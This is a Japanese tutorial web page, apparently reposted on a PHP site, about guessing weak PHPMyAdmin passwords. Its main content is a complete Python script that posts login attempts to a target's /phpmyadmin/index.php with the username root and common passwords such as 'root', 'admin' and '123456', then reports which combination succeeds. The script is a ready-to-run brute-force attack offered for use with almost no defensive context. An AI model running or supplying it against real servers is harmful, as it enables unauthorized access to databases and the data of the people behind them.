ホームページ > データベース > PHPMyAdmin > PHPMyAdmin の脆弱なパスワード推測について

PHPMyAdmin の脆弱なパスワード推測について

藏色散人
リリース: 2021-05-27 15:55:25
転載
4217 人が閲覧しました

phpmyadmin の次のチュートリアル コラムでは、PHPMyAdmin の脆弱なパスワードの推測について紹介します。困っている友人の役に立てば幸いです。

PHPMyAdmin の弱いパスワードの推測 [Python スクリプト]

PHPMyAdmin の弱いパスワードの推測

テスト スクリーンショット:

コードスニペット

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

#! /usr/bin/env python

# _*_  coding:utf-8 _*_

import requests

import time

 

username_list=['root']

password_list=['root','','admin','123456','password']

 

def phpMyAdmin(ip,port=80):

    for username in username_list:

        username =username.rstrip()

        for password in password_list:

            password = password.rstrip()

            try:

                #url = "http://192.168.106.141/phpmyadmin/index.php"

                url = "http://"+ip+":"+str(port)+"/phpmyadmin/index.php"

 

                data={'pma_username':username,'pma_password':password}

                response = requests.post(url,data=data,timeout=5)

                result=response.content

                if result.find('name="login_form"')==-1:

                    print '===================================================='

                    print '[+] find phpMyAdmin weak password:'+username,password

                    print '===================================================='

                    break

                else:

                    print '[-] Checking for '+username,password+" fail"

            except:

                print '[-] Something Error'+username,password+" fail"

                 

if __name__ == '__main__':

    phpMyAdmin("192.168.106.141")

ログイン後にコピー

以上がPHPMyAdmin の脆弱なパスワード推測についての詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート